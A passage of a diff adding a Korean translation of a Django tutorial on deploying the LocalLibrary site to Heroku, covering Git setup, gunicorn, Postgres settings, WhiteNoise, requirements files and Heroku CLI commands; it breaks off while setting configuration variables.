+ <li><strong>Procfile</strong>: 웹 어플리케이션을 구동하기 위해 실행되어야 하는 프로세스의 목록. 장고의 예를 들자면, Gunicorn 웹 어플리케이션 서버( .wsgi 스크립트와 함께) 가 될것이다.  </li>
+ <li><strong>wsgi.py</strong>: Heroku 환경에서 Django 어플리케이션을 호출 하기 위한 <a href="http://wsgi.readthedocs.io/en/latest/what.html">WSGI</a> 설정.</li>
+</ul>
+
+<p>개발자들은 Unix bash 스크립트와 매우 유사한, 특별한 클라이언트 앱/터미널로 Heroku와 통신한다. 이 도구는 git 저장소에 보관된 코드를 업로드 할수 있도록 지원하며, 실행중인 프로세스의 모니터링과, 로그를 보고 환경변수를 설정하는등 그외 많은 일을 할수 있도록 지원한다!</p>
+
+<p>Heroku 상에서 어플리케이션을 실행하기 위해서는 Django 웹 어플리케이션을 git 저장소에 보관하고, 위에서 언급한 파일을 추가하며, 데이터베이스 애드온과 통합하고, 스태틱 파일을 다룰수 있도록 수정할 필요가 있다.</p>
+
+<p>일단 Heroku 계정에서 준비할수 있는 모든것을 완료 했으니, Heroku 클라이언트를 다운로드 받아서 웹 사이트를 설치하라.</p>
+
+<div class="note">
+<p><strong>주목할 점:</strong> 아래 지시사항은 이 글을 쓸 당시의 Heroku로 작업하는 방법을 반영했다. Heroku 서비스의 절차가 상당히 많이 바뀐다면, 이글 대신 다음링크의 Heroku 문서를 참조하는 것이 좋다: <a href="https://devcenter.heroku.com/articles/getting-started-with-python#introduction">Django로 Heroku 시작하기</a>.</p>
+</div>
+
+<p>이것으로 시작을 하기위한 준비를 모두 마친다. ( 좀 더 포괄적인 이해를 위해서는 <a href="https://devcenter.heroku.com/articles/how-heroku-works">Heroku의 동작 방식</a>(Heroku 문서) 가이드를 참고하라).</p>
+
+<h3 id="Github에_애플리케이션_저장소(repository)_생성하기"> Github에 애플리케이션 저장소(repository) 생성하기</h3>
+
+<p>Heroku는 <strong>git</strong> 형상관리 시스템과 밀접하게 통합되어있는데, git을 이용하여 활성화된 시스템에 수정사항의 업로드및 동기화를 수행한다. git은 Heroku 클라우드 상에서 당신의 소스코드 저장소를 가리키도록 이름붙여진 신규 heroku "원격" 저장소를 추가함으로 이 작업을 수행한다. 개발기간동안 "master" 저장소에 변경사항을 저장하기 위에 git을 사용하게된다. 사이트를 배포할 때가 되면, Heroku 저장소에 수정사항을 동기화 한다.</p>
+
+<div class="note">
+<p><strong>주목할 점:</strong>  좋은 소프트웨어 개발 예제를 따라서 작성하는데 익숙하다면, 아마도 당신은 이미 git 이나 다른 SCM 도구를 사용하고 있을 것이다. 당신이 이미 git 저장소를 소유하고 있다면, 이 단계를 건너뛰어도 좋다.</p>
+</div>
+
+<p>git 으로 작업하는 수많은 방법이 있지만, <a href="https://github.com/">Github</a>에 계정을 생성하여, 저장소를 생성하고, 로컬 컴퓨터와 동기화 하는것이 가장 쉬운 방법중 하나이다 :</p>
+
+<ol>
+ <li>이곳( <a href="https://github.com/">https://github.com/</a> )을 방문하여 계정을 생성하라.</li>
+ <li>로그인 해서 꼭대기 툴바의 <strong>+</strong> 링크를 클릭하여 <strong>New repository</strong>를 선택하라.</li>
+ <li>이 폼의 모든 필드에 기입하라. 그렇지 않으면 진행이 불가한 것은 아니지만, 모두 채울것을 강력 추천한다.
+  <ul>
+   <li>새로운 저장소 이름 (예시: <em>django_local_library</em>)과 설명 (예시: "Local Library website written in Django")을 입력하라.</li>
+   <li>"<em>Add .gitignore" 선택 목록에서 "</em><strong>Python</strong><em>"을 선택하라</em>.</li>
+   <li>"<em>Add a license" 선택 목록에서 선호하는 라이센스 유형을 선택하라</em>.</li>
+   <li>"<strong>Initialize this repository with a README</strong>." 체크박스에 체크하라</li>
+  </ul>
+ </li>
+ <li>" <strong>Create repository" </strong>버튼을 누른다</li>
+ <li>신규 저장소 페이지에서 초록색의  "<strong>Clone or download</strong>" 버튼을 클릭한다.</li>
+ <li>아래와 같은 형태의 URL 값을 다이얼로그 박스내의 텍스트 필드에서 복사한다.(예시: <strong>https://github.com/<em>&lt;your_git_user_id&gt;</em>/django_local_library.git</strong>).</li>
+</ol>
+
+<p>이제 원격 저장소 ("repo")가 생성되었으니 로컬 컴퓨터에 복제(clone)하길 원할 것이다:</p>
+
+<ol>
+ <li><em>git을 로컬 컴퓨터에 설치하라</em> (플랫폼별 버전은 <a href="https://git-scm.com/downloads">이곳</a> 에서 찾을 수 있다).</li>
+ <li>커맨드 프롬프트/터미널 을 열고 위에서 복사한 URL을 이용하여 저장소 내용을 복제(clone) 한다 :
+  <pre class="brush: bash">git clone https://github.com/<strong><em>&lt;your_git_user_id&gt;</em></strong>/django_local_library.git
+</pre>
+  이 명령은 현재 프롬프트의 위치에 저장소를 생성할 것이다.</li>
+ <li>새로운 저장소 위치로 이동한다.
+  <pre class="brush: bash">cd django_local_library.git</pre>
+ </li>
+</ol>
+
+<p>마지막 단계는 어플리케이션을 복사하여 git을 이용해 저장소에 파일을 추가하는 것이다 :</p>
+
+<ol>
+ <li>이 폴더에 Django 어플리케이션을 복사해 넣는다. (locallibrary 폴더를 포함한 위치가 아니라 <strong>manage.py</strong> 와 그 하위 폴더와 같은 위치의 모든 파일에  대해 작업한다).</li>
+ <li><strong>.gitignore</strong> 파일을 열어서, 아래 코드를 맨 밑에 복사하고, 저장하라 ( 이 파일은 기본 설정에 의해 git에 저장되지 말아야할 파일을 구분하는데 사용된다).
+  <pre># Text backup files
+*.bak
+
+#Database
+*.sqlite3</pre>
+ </li>
+ <li>커맨드 프로프트/터미널을 열고 <code>add</code>명령으로 모든 파일을 git에 등록한다.
+  <pre class="brush: bash">git add -A
+</pre>
+ </li>
+ <li>status 명령을 사용하여 등록하고자 하는 파일이 맞는지 확인한다 ( 당신은 소스파일만 등록 하길 원하고 바이너리나 임시 파일은 원치 않을 것이다). 명령을 실행하면 아래와 유사하게 나온다.
+  <pre>&gt; git status
+On branch master
+Your branch is up-to-date with 'origin/master'.
+Changes to be committed:
+  (use "git reset HEAD &lt;file&gt;..." to unstage)
+
+        modified:   .gitignore
+        new file:   catalog/__init__.py
+        ...
+        new file:   catalog/migrations/0001_initial.py
+        ...
+        new file:   templates/registration/password_reset_form.html</pre>
+ </li>
+ <li>위의 결과에 만족했다면, commit 명령으로 파일의 로컬 저장소 등록을 확정한다:
+  <pre class="brush: bash">git commit -m "First version of application moved into github"</pre>
+ </li>
+ <li>다음 명령을 이용하여 Github 웹사이트와 로컬 저장소를 동기화 한다:
+  <pre>git push origin master</pre>
+ </li>
+</ol>
+
+<p>이런 작업이 완료된 후, repo를 생성한 Github 페이지로 다시 가서, 페이지를 새로 로딩하여, 전체 어플리케이션이 모두 업로드된것인지 확인할 수 있어야 한다. 이후로 파일 변경 사항이 발생하면 add/commit/push 순서로 명령을 사용하여 저장소를 업데이트 할 수 있다.</p>
+
+<div class="note">
+<p><strong>한가지 팁:</strong> 이쯤에서 당신의 "변형 없이 순수한(<a href="https://en.wikipedia.org/wiki/Vanilla_software">vanilla</a>)" 프로젝트를 백업하는것이 좋다. - 이어지는 섹션에서 해볼 작업들은 어떤 플랫폼(혹은 개발작업) 에서는 유용하지만 다른 곳에서는 그렇지 않을 수 있기 때문이다.</p>
+
+<p>백업을 하는 가장 좋은 방법은 git을 사용하여 관리하는 것이다. git을 사용하면, 특정 구 버전으로 갈수 있을 뿐만 아니라, 이것을 운영관련 변경사항으로 부터 분리된 "브랜치(branch)"로 유지보수할 수있고, 운영 브랜치와 개발 브랜치간에 좋은 부분만 선별하여 적용할 수 있다. <a href="https://help.github.com/articles/good-resources-for-learning-git-and-github/">Git 공부하기</a> 는 수고를 들여 배울가치가 있지만 이 글의 주제를 벗어난다.</p>
+
+<p>백업을 하는 가장 쉬운방법은 단순히 파일을 다른 위치에  복제하는 것이다. 당신의 git 관련 지식에 맞춰, 어떤 방법이든 사용하도록 하자 !</p>
+</div>
+
+<h3 id="Heroku에_맞춰_앱을_수정하기">Heroku에 맞춰 앱을 수정하기</h3>
+
+<p>이번 섹션에서는 LocalLibray 어플리케이션이 Heroku상에서 작동할 수 있도록 수정할 필요가 있는 변경사항에 대해 설명한다. Heroku 문서인 <a href="https://devcenter.heroku.com/articles/getting-started-with-python#introduction">Django로 Heroku 시작해보기</a> 에서 나온 지시사항들은 당신이 로컬 개발 환경의 실행 또한 Heroku 클라이언트를 사용할 것으로 가정하고 있지만, 우리가 여기서 제시할 변경사항은 기존의 Django 개발 서버및 이제껏 배워온 작업방식과 호환될 것이다.</p>
+
+<h4 id="Procfile_작성하기">Procfile 작성하기</h4>
+
+<p>어플리케이션의 프로세스 타입과 엔트리 포인트를 선언하기 위해  GiHub 저장소의 root 폴더에  <code>Procfile</code> 파일을 (확장자 없이 ) 생성한다. 아래 문장을 해당 파일에 작성한다:</p>
+
+<pre>web: gunicorn locallibrary.wsgi --log-file -</pre>
+
+<p>"<code>web:</code>" 구문은 Heroku에게 이것이 웹 다이노이며 HTTP 트래픽을 받을수 있다는 것을 알려준다. 이 다이노에서 시작할 프로세스는 <em>gunicorn 인데 Heroku가 추천하는 인기있는 웹 어플리케이션 서버이다. </em><code>locallibrary.wsgi</code><em> ( 어플리케이션 뼈대로 생성된: </em><strong>/locallibrary/wsgi.py</strong>) <em>모듈의 설정 정보를 이용하여 </em>Gunicorn을 구동시킨다.</p>
+
+<h4 id="Gunicorn_설치하기">Gunicorn 설치하기</h4>
+
+<p><a href="http://gunicorn.org/">Gunicorn</a> 은 Django와 함께 사용되는 용도로 Heroku에서 추천되는 HTTP server 이다  (바로 위의 Procfile 에서 미리 본 바와 같다). 하나의 다이노에서 여러개의 Python 동시 프로세스를 실행할 수 있는 WSGI 어플리케이션을 위한 순수 Python으로 작성된 HTTP server 다. ( 추가 정보를 얻으려면  <a href="https://devcenter.heroku.com/articles/python-gunicorn">Gunicorn으로 Python 어플리케이션 배포하기</a> ( Heroku 문서) 참고하라).</p>
+
+<p>개발기간중에는 LocalLibrary 어플리케이션을 서비스하기 위해 Gunicorn을 필요로 하진 않겠지만, Heroku에서 원격 서버를 셋업하기 위한 <a href="https://developer.mozilla.org/ko/docs/Learn/Server-side/Django/Deployment$edit#requirements">요구조건</a> 의 일부이므로 Gunicorn을 설치할 것이다. </p>
+
+<p>아래와 같이 커맨드라인에서 pip를 이용하여 <em>Gunicorn</em> 설치한다 (pip는 <a href="/en-US/docs/Learn/Server-side/Django/development_environment">개발 환경 구축하기</a> 단계에서 설치했다):</p>
+
+<pre class="brush: bash">pip3 install gunicorn
+</pre>
+
+<h4 id="Database_설정하기">Database 설정하기</h4>
+
+<p>디폴트로 설정되었던 SQLite 데이타베이스는 Heroku에서는 사용할 수 없다. 이유는 SQLite가 파일 베이스로 동작하는 시스템인데, Heroku는 단기-수명(ephemeral) 파일 시스템을 사용하므로 어플리케이션이 재시작되면 파일이 삭제되기 때문이다 ( 보통 하루에 한 번, 어플리케이션이나 그에 딸린 설정 변수가 변경되면 재시작 된다) . </p>
+
+<p>이런 상황에 대처하는 Heroku의 메커니즘은 <a href="https://elements.heroku.com/addons#data-stores">database 애드온</a>을 사용하고 애드온에 의해 설정되는 환경 <a href="https://devcenter.heroku.com/articles/config-vars">설정 변수</a>로 부터의 정보를 이용하여 웹 어플리케이션을 설정하는 것이다. 많은 데이타베이스 옵션이 있지만, Heroku postgres 데이터베이스의 <a href="https://devcenter.heroku.com/articles/heroku-postgres-plans#plan-tiers">Hobby tier</a>를 사용할것인데, 이것은 무료이고, Django가 지원하며, 무료 hobby dyno plan tier를 사용할 때 신규 Heroku 앱에 자동으로 추가된다.</p>
+
+<p>데이터베이스 연결 정보는 <code>DATABASE_URL</code> 라는 설졍변수를 사용해 웹 다이노에 제공된다. Heroku는 , 이 정보를 Django에 하드 코딩 해넣기 보다는, 개발자들이 <a href="https://warehouse.python.org/project/dj-database-url/">dj-database-url</a> 패키지를 사용하여 <code>DATABASE_URL</code> 환경 변수를 분석하여 자동적으로 Django가 원하는 설정 형식으로 변환하는 것을 추천한다. <em>dj-database-url</em> 패키지를 설치하는것에 외에도, Django에서 Postgres 데이터베이스로 작업하기 위해서는 <a href="http://initd.org/psycopg/">psycopg2</a> 도 설치해야 한다.</p>
+
+<h5 id="dj-database-url_(환경_변수를_통한_Django_데이터베이스_설정_)_설치하기">dj-database-url (환경 변수를 통한 Django 데이터베이스 설정 ) 설치하기</h5>
+
+<p>Heroku에서 원격 서버에 설치하기 위한  <a href="https://developer.mozilla.org/ko/docs/Learn/Server-side/Django/Deploymentt#requirements">요구조건</a>의 일부가 되었으니, <em>dj-database-url</em> 를 로컬에 설치한다:</p>
+
+<pre>$ pip3 install dj-database-url
+</pre>
+
+<h5 id="settings.py_수정하기">settings.py 수정하기</h5>
+
+<p><strong>/locallibrary/settings.py</strong> 를 열고 아래 설정코드를 파일의 맨 밑에 복사해 넣는다:</p>
+
+<pre># Heroku: Update database configuration from $DATABASE_URL.
+import dj_database_url
+db_from_env = dj_database_url.config(conn_max_age=500)
+DATABASES['default'].update(db_from_env)</pre>
+
+<div class="note">
+<p><strong>주목할 점:</strong></p>
+
+<ul>
+ <li><code>DATABASE_URL</code> 환경변수가 개발용 컴퓨터에는 없을것이므로 개발단계에서는 계속 SQLite를 사용한다.</li>
+ <li> <code>conn_max_age=500</code> 설정을 하면 연결상태가 지속될 수 있는데, 매번 요청 주기에 연결을 새로 하는것보다 이렇게 하는 것이 훨신 효율적이다. 하지만 이것은 옵션이며 불 필요하면 제거해도 된다.</li>
+</ul>
+</div>
+
+<h5 id="psycopg2_(Python_Postgres_데이터베이스_지원용)_설치하기">psycopg2 (Python Postgres 데이터베이스 지원용) 설치하기</h5>
+
+<p>Django에서 Postgres 데이터베이스로 작업하기 위해서는 <em>psycopg2</em> 가 필요하므로 Heroku에 원격 서버를 생성하기 위해서는( 아래 요구조건 섹션에 논의된 바와 같이) <a href="#requirements">requirements.txt</a> 파일에 이 항목을 추가할 필요가 있다.</p>
+
+<p>환경 변수가 로컬 환경에서 존재하지 않기 때문에, 로컬에서 Django는 디폴트로 SQLite를 사용할 것이다. 당신이 Postgres로 완전히 전환해서 개발과 운영 모두 Heroku 무료 단계 데이터베이스를 사용하길 원한다면 그렇게 할 수 있다. 예를 들면, Linux 기반 시스템에 psycopg2와 관련 모듈을 설치하려면, 아래 bash/터미널 명령을 사용하면 된다:</p>
+
+<pre class="brush: bash"><code>sudo apt-get install python-pip python-dev libpq-dev postgresql postgresql-contrib</code>
+pip3 install psycopg2
+</pre>
+
+<p>다른 플랫폼에 대한 설치방법은 <a href="http://initd.org/psycopg/docs/install.html">이곳 psycopg2 웹사이트</a> 에서 찾아볼 수 있다.</p>
+
+<p>하지만, 당신이 Heroku에 사이트를 적용하기 위한 ( <code>requirements.txt</code> (아래에 나옴)에서) 요구조건 으로서만 맞추려고 한다면, 굳이 이렇게 PostGreSQL을 로컬 컴퓨터에 설치할 필요까지는 없다.</p>
+
+<h4 id="운영환경에서_정적_파일(static_file)_지원하기">운영환경에서 정적 파일(static file) 지원하기</h4>
+
+<p>개발 단계동안 Django와 Django 개발용 웹 서버를 사용하여 정적 파일을 지원해 왔다 (CSS, JavaScript, 등등.). 운영 환경에서는 보통 콘텐츠 전달 네트웍 ( CDN) 이나 웹서버에서 정적 파일을 지원한다.</p>
+
+<div class="note">
+<p><strong>주목할 점:</strong> Django/웹 어플리케이션으로 직접 정적 파일을 지원하는 것은 비효율적이다. 웹서버에 의해 직접 조작되거나 CDN으로 완전히 분리하는 것에 비해,  불필요한 추가적인 코드가 요청(requests)에 추가되기 때문이다. 이런 사항은 로컬에서 진행되는 개발단계에서는 영향이 크진 않지만, 운영 단계에서 같은 방식으로 사용하려 한다면 심각한 성능저하 상황이 발생할 수 있다. </p>
+</div>
+
+<p>Django 웹 어플리케이션으로부터 분리하여 정적파일을 쉽게 호스팅하기 위해, Django는 개발용 정적 파일을 수집하는 collectstatic 도구를 제공한다 (collectstatic이 실행될 때 어느곳에서 파일이 수집되어야 하는지 정의한 설정 변수들이 있다). Django 템플릿은 정적 파일 종류의 호스팅 위치를 <code>STATIC_URL</code> 설정 변수로 알려주며, 정적 파일의 위치가 다른 호스트/서버로 이동되면 여기서 바꿀 수 있도록 한다.</p>
+
+<p>관련 설정 변수는 다음과 같다:</p>
+
+<ul>
+ <li><code>STATIC_URL</code>: 이것은 베이스 URL 위치인데 이곳에서 정적 파일들이 지원된다. 예를 들면 CDN과 같은곳이다. 베이스 템플릿에서 접근하는 정적 템플릿 변수에 사용된다. ( <a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django 튜토리얼 파트 5: 홈페이지 작성하기</a> 를 참고하라).</li>
+ <li><code>STATIC_ROOT</code>: 이것은 Django의 "collectstatic" 도구로 템플릿에서 참조하는 모든 정적 파일을 모집하는 디렉토리로 가는 절대 경로이다. 일단 수집되면, 이것들은 파일이 어떤곳에서 호스팅되든지 단체로 업로드 될 수 있다.</li>
+ <li><code>STATICFILES_DIRS</code>: 이것은 Django의 colletstatic 도구가 정적 파일을 탐색할 추가적인 디렉토리를 나열한다.</li>
+</ul>
+
+<h5 id="settings.py_수정하기_2">settings.py 수정하기</h5>
+
+<p><strong>/locallibrary/settings.py</strong> 파일을 열고 아래 설정을 파일의 맨 밑으로 복사한다. <code>BASE_DIR</code> 는 파일에 이미 정의되어 있었어야 한다. ( <code>STATIC_URL</code> 도 설정파일이 생성될 때 정의되었을 것이다. 중복되는 이전의 설정은, 지우지 않아도 문제는 없겠지만, 제거하는 것이 좋다).</p>
+
+<pre># Static files (CSS, JavaScript, Images)
+# https://docs.djangoproject.com/en/2.0/howto/static-files/
+
+# The absolute path to the directory where collectstatic will collect static files for deployment.
+STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles')
+
+# The URL to use when referring to static files (where they will be served from)
+STATIC_URL = '/static/'
+</pre>
+
+<p>실제로는, 다음 섹션에서 설치하고 설정할, <a href="https://warehouse.python.org/project/whitenoise/">WhiteNoise</a> 라는 이름의 라이브러리를 이용하여 파일을 관리할 것이다.</p>
+
+<p>더 많은 정보가 필요하면  <a href="https://devcenter.heroku.com/articles/django-assets">Django and Static Assets</a> (Heroku docs) 를 참고한다.</p>
+
+<h4 id="Whitenoise_적용하기">Whitenoise 적용하기</h4>
+
+<p>운영환경에서 정적 파일을 관리하기 위한 수많은 방법이 있다 (바로 앞 섹션에서 관련된 Django 설정을 봤다). Heroku는 <a href="https://warehouse.python.org/project/whitenoise/">WhiteNoise</a> 프로젝트를 이용하여 운영환경의 Gunicorn상에서 직접 정적 자원을 관리하는 것을 추천한다.</p>
+
+<div class="note">
+<p><strong>주목할 점: </strong>Heroku는 자동적으로 collectstatic을 호출하고 사용자 어플리케이션을 업로드한 후 WhiteNoise로 정적파일을 사용할 수 있도록 준비한다. WhiteNoise의 동작 방식과 이 도구를 적용하는 것이 좀더 효율적인 이유에 대한 설명은 <a href="https://warehouse.python.org/project/whitenoise/">WhiteNoise</a> 문서를 참조한다.</p>
+</div>
+
+<p>본 프로젝트에 <em>WhiteNoise를 적용하는 단계적 방법은 다음과 같다 </em>:</p>
+
+<h5 id="WhiteNoise_설치하기">WhiteNoise 설치하기</h5>
+
+<p>아래 명령으로 whitenoise를 로컬에 설치한다 :</p>
+
+<pre>$ pip3 install whitenoise
+</pre>
+
+<h5 id="settings.py_수정하기_3">settings.py 수정하기</h5>
+
+<p>사용자 Django 어플리케이션에 WhiteNoise를 설치하기 위해, <strong>/locallibrary/settings.py</strong> 를 열고, <code>MIDDLEWARE</code> 설정을 찾아서 <code>SecurityMiddleware</code> 바로 밑의 목록의 윗부분에  <code>WhiteNoiseMiddleware</code> 를 추가 한다 :</p>
+
+<pre>MIDDLEWARE = [
+    'django.middleware.security.SecurityMiddleware',
+    <strong>'whitenoise.middleware.WhiteNoiseMiddleware',</strong>
+    'django.contrib.sessions.middleware.SessionMiddleware',
+    'django.middleware.common.CommonMiddleware',
+    'django.middleware.csrf.CsrfViewMiddleware',
+    'django.contrib.auth.middleware.AuthenticationMiddleware',
+    'django.contrib.messages.middleware.MessageMiddleware',
+    'django.middleware.clickjacking.XFrameOptionsMiddleware',
+]
+</pre>
+
+<p>선택 사항으로, 파일이 서빙될 때 정적 파일의 크기를 줄일 수 있다. (이 방식이 좀더 효율적이다). Just add the following to the bottom of <strong>/locallibrary/settings.py</strong>:</p>
+
+<pre># Simplified static file serving.
+# https://warehouse.python.org/project/whitenoise/
+STATICFILES_STORAGE = 'whitenoise.storage.CompressedManifestStaticFilesStorage'
+</pre>
+
+<h4 id="파이썬_관련_라이브러리_(Requirements)_설치하기">파이썬 관련 라이브러리 (Requirements) 설치하기</h4>
+
+<p>웹 어플리케이션의 Python 관련 라이브러리들은 저장소의 루트에 위치한 <strong>requirements.txt</strong> 라는 파일에 저장되어야 한다. 그러면 Heroku는 환경을 재구성할 때 이 패키지들을 자동적으로 설치할 것이다. 커맨드 라인에서 pip 명령을 이용해 이 파일을 생성할 수 있다. ( 아래 명령을 repo 루트 디렉토리에서 실행한다):</p>
+
+<pre class="brush: bash">pip3 freeze &gt; requirements.txt</pre>
+
+<p>여러가지 관련 라이브러리를 위에서 설치했다면,  <strong>requirements.txt</strong> 파일은 최소한 아래 나열된 항목들을 가지고 있어야 한다. ( 버전 숫자는 다를수도 있다). 명확히 이 어플리케이션을 위해 설치한것이 아니라면 , 아래 목록을 제외한 라이브러리는 지우는 것이 좋다.</p>
+
+<pre>dj-database-url==0.4.1
+Django==2.0
+gunicorn==19.6.0
+<strong>psycopg2==2.6.2</strong>
+whitenoise==3.2.2
+</pre>
+
+<div class="note">
+<p>위 목록에  <strong>psycopg2</strong> 줄이 있다는 것을 주의해야 한다! 로컬환경에서 이 라이브러리를 설치한 적이 없더라도 이 줄은 <strong>requirements.txt</strong> 파일에 추가해야 한다.</p>
+</div>
+
+<h4 id="Runtime_파일_추가하기">Runtime 파일 추가하기</h4>
+
+<p><strong>runtime.txt</strong> 파일이 존재한다면 Heroku에게 웹사이트에서 사용할 프로그래밍 언어를 알려준다. 아래 문구를 추가하여 저장소의 루트에 runtime.txt 파일을 생성한다:</p>
+
+<pre>python-3.6.4</pre>
+
+<div class="note">
+<p><strong>주목할 점:</strong> Heroku가 지원하는  <a href="https://devcenter.heroku.com/articles/python-support#supported-python-runtimes">Python 실행버전</a> ( 이 글을 쓰는 당시에는 위 버전을 포함한다)은 그리 많지 않다. Heroku는 이 파일에 지정된 버전에 개의치 않고 지원되는 실행버전을 사용할 것이다.</p>
+</div>
+
+<h4 id="Github에_변경사항을_저장하고_테스트_다시하기">Github에 변경사항을 저장하고 테스트 다시하기</h4>
+
+<p>다음으로 모든 변경사항을 Github에 저장하자. 아래 명령을 ( 저장소 범위내 위치에서) 터미널에 입력한다 :</p>
+
+<pre class="brush: bash">git add -A
+git commit -m "Added files and changes required for deployment to heroku"
+git push origin master</pre>
+
+<p>계속 진행하기전에, 로컬에서 사이트를 다시 테스트 해서 위의 변경사항에 의해 영향받은부분이 없는지 확인한다. 지금까지 해온 것 처럼 개발용 웹 서버를 실행하고 브라우저 상에서 여전히 기대한 대로 동작하는지 체크한다.</p>
+
+<pre class="brush: bash">python3 manage.py runserver</pre>
+
+<p>이제 Heroku에 LocalLibrary의 배포를 시작할 준비가 다 되었다.</p>
+
+<h3 id="Heroku_계정_생성하기">Heroku 계정 생성하기</h3>
+
+<p>Heroku 이용을 시작 하려면 계정을 한 개 생성해야 한다 :</p>
+
+<ul>
+ <li><a href="https://www.heroku.com/">www.heroku.com</a> 사이트로 가서 <strong>SIGN UP FOR FREE</strong> 버튼을 클릭한다.</li>
+ <li>세부 정보를 입력하고 <strong>CREATE FREE ACCOUNT</strong> 버튼을 누른다. 당신은 가입 이메일에서 계정을 확인 하도록 요청받을 것이다.</li>
+ <li>가입 이메일에서 계정 활성화 요청 링크 (account activation link) 를 클릭하면 웹 브라우저 상에서 당신의 계정 위치로 이동될 것이다.</li>
+ <li>당신의 암호를 입력하고 <strong>SET PASSWORD AND LOGIN</strong> 버튼을 클릭하라</li>
+ <li>로그인이 되면 Heroku 대시보드로 이동될 것이다: <a href="https://dashboard.heroku.com/apps">https://dashboard.heroku.com/apps</a>.</li>
+</ul>
+
+<h3 id="client_설치하기">client 설치하기</h3>
+
+<p>여기의 <a href="https://devcenter.heroku.com/articles/getting-started-with-python#set-up">Heroku 지시사항</a> 에 따라 Heroku 클라이언트를 다운로드하고 설치하라.</p>
+
+<p>클라이언트를 설치한후에 명령어를 실행할 수 있다. 예를 들면, 클라이언트에 대한 도움말을 얻고 싶다면 아래 명령을 실행한다:</p>
+
+<pre class="brush: bash">heroku help
+</pre>
+
+<h3 id="웹사이트를_생성하고_업로드하기">웹사이트를 생성하고 업로드하기</h3>
+
+<p>앱을 생성하기 위해 "create" 명령을 저장소의 루트 디렉토리에서 실행한다. 이명령은 로컬 컴퓨터의 git 환경에 heroku라는 이름의 git의 원격 저장소(remote) ("원격 저장소의 지정자(pointer)")를 생성한다.</p>
+
+<pre class="brush: bash">heroku create</pre>
+
+<div class="note">
+<p><strong>주목할 점:</strong> 원한다면 원격 저장소(remote)에 이름을 붙일 수 있는데 . "create" 다음에 값을 추가하면 된다. 아무것도 붙이지 않으면 랜덤으로 생성된 이름을 가진다. 이 이름은 기본 URL로 사용된다.</p>
+</div>
+
+<p>그다음에 아래와 같은 명령으로 앱을 Heroku 저장소에 등록(push)할  수 있다. 이 명령은 앱을 업로드하고, 다이노안에 앱을 포장(pakage)하며, colletstatic을 실행하고 사이트가 시작 되도록 한다.</p>
+
+<pre class="brush: bash">git push heroku master</pre>
+
+<p>운이 좋다면, 앱은 이제 사이트상에서 "실행(running)" 상태에 있게되겠지만, 어플리케이션을 위한 데이터베이스 테이블을 구성하지 않았기 때문에 제대로 동작하지 않을 것이다. 이 작업을 위해 <code>heroku run</code> 명령을 사용해 migrate 작업을 수행할 "<a href="https://devcenter.heroku.com/articles/deploying-python#one-off-dynos">one off 다이노</a>" 를 시작시켜야 한다. 아래 명령을 터미널에 입력하라 :</p>
+
+<pre class="brush: bash">heroku run python manage.py migrate</pre>
+
+<p>책과 저자도 추가할 수 있어야 하니까 다시 one-off 다이노를 이용하여 관리자 아이디 또한 생성하자:</p>
+
+<pre class="brush: bash">heroku run python manage.py createsuperuser</pre>
+
+<p>일단 이 작업이 완료되면, 사이트를 볼 수 있다. 아직 아무 책도 없긴 하지만 사이트가 동작한다. 신규 웹사이트를 브라우저로 보고 싶으면 아래 명령을 사용하라 :</p>
+
+<pre class="brush: bash">heroku open</pre>
+
+<p>admin 사이트에서 책 몇개를 생성하고 사이트가 기대한대로 동작하는지 확인하라.</p>
+
+<h3 id="애드온_관리하기">애드온 관리하기</h3>
+
+<p><code>heroku addons</code> 명령으로 앱의 애드온 적용에 대해 확인할 수 있다. 이 명령은 모든 애드온을 나열하고, 가격과 상태를 보여준다.</p>
+
+<pre class="brush: bash">&gt;heroku addons
+
+Add-on                                     Plan       Price  State
+─────────────────────────────────────────  ─────────  ─────  ───────
+heroku-postgresql (postgresql-flat-26536)  hobby-dev  free   created
+ └─ as DATABASE</pre>
+
+<p>여기서 단 한개의 애드온만 있는데, 바로 postgres SQL 데이터베이스 이다. 이것은 무료이고, 앱을 생성할 때 자동적으로 생성되었다. 데이터베이스 애드온을 ( 다른 어떤 애드온이라도) 좀 더 자세히 조사하기 위해 아래 명령으로 웹 페이지 열 수 있다 (open)  :</p>
+
+<pre class="brush: bash">heroku addons:open heroku-postgresql
+</pre>
+
+<p>애드온을 생성하고(create), 제거하고(destroy), 업그레이드하고(upgrade), 다운그레이드하는(downgrade) 다른 명령들도 있다. ( 여는 명령(open)과 유사한 문법을 사용한다). 좀 더 자세한 정보는 <a href="https://devcenter.heroku.com/articles/managing-add-ons">Managing Add-ons</a> (Heroku 문서) 를 참조하라.</p>
+
+<h3 id="구성_변수_(_configuration_variables)_설정하기">구성 변수 ( configuration variables) 설정하기</h3>
+
+<p><code>heroku config</code> 명령을 이용하여 사이트의 구성 변수를 확인할 수 있다. 아래에서 현재 한개의 변수만 가지는 것을 확인할 수있는데, <code>DATABASE_URL</code> 변수는 데이터베이스를 설정하는 데 사용된다.</p>
+
+<pre class="brush: bash">&gt;heroku config
+
+=== locallibrary Config Vars
+DATABASE_URL: postgres://uzfnbcyxidzgrl:j2jkUFDF6OGGqxkgg7Hk3ilbZI@ec2-54-243-201-144.compute-1.amazonaws.com:5432/dbftm4qgh3kda3</pre>
+
+<p>위에서 공부한 <a href="#Getting_your_website_ready_to_publish">웹 사이트 공개(publish) 준비하기</a> 섹션을 다시 떠올려보면, <code>DJANGO_SECRET_KEY</code>와 <code>DJANGO_DEBUG</code> 환경 변수를 설정해야 한다. 지금 이 작업을 하자.</p>
+
+<div class="note">
+<p><strong>주목할 점:</strong> secret key는 정말로 비밀이 유지되어야 한다!  새로운 키를 만들어 내는 한가지 방법은 새로운 Django 프로젝트를 생성하고 (<code>django-admin startproject someprojectname</code>) 신규 프로젝트의 <strong>settings.py</strong>에서 생성된 키를 가져오는 것이다.</p>
+</div>
+
+<p><code>DJANGO_SECRET_KEY</code> 를 <code>config:set</code> 명령을 통해 설정한다(아래 예제와 같이).  당신 자신의 secret key를 사용해야 한다는 것을 기억하자!</p>
+
+<pre class="brush: bash">&gt;heroku config:set DJANGO_SECRET_KEY=eu09(ilk6@4sfdofb=b_2ht@vad*$ehh9-)3u_83+y%(+phh&amp;=
+
+Setting DJANGO_SECRET_KEY and restarting locallibrary... done, v7
+DJANGO_SECRET_KEY: eu09(ilk6@4sfdofb=b_2ht@vad*$ehh9-)3u_83+y%(+phh
+</pre>
+
+<p><code>DJANGO_DEBUG</code> 도 유사하게 설정한다 :</p>
+
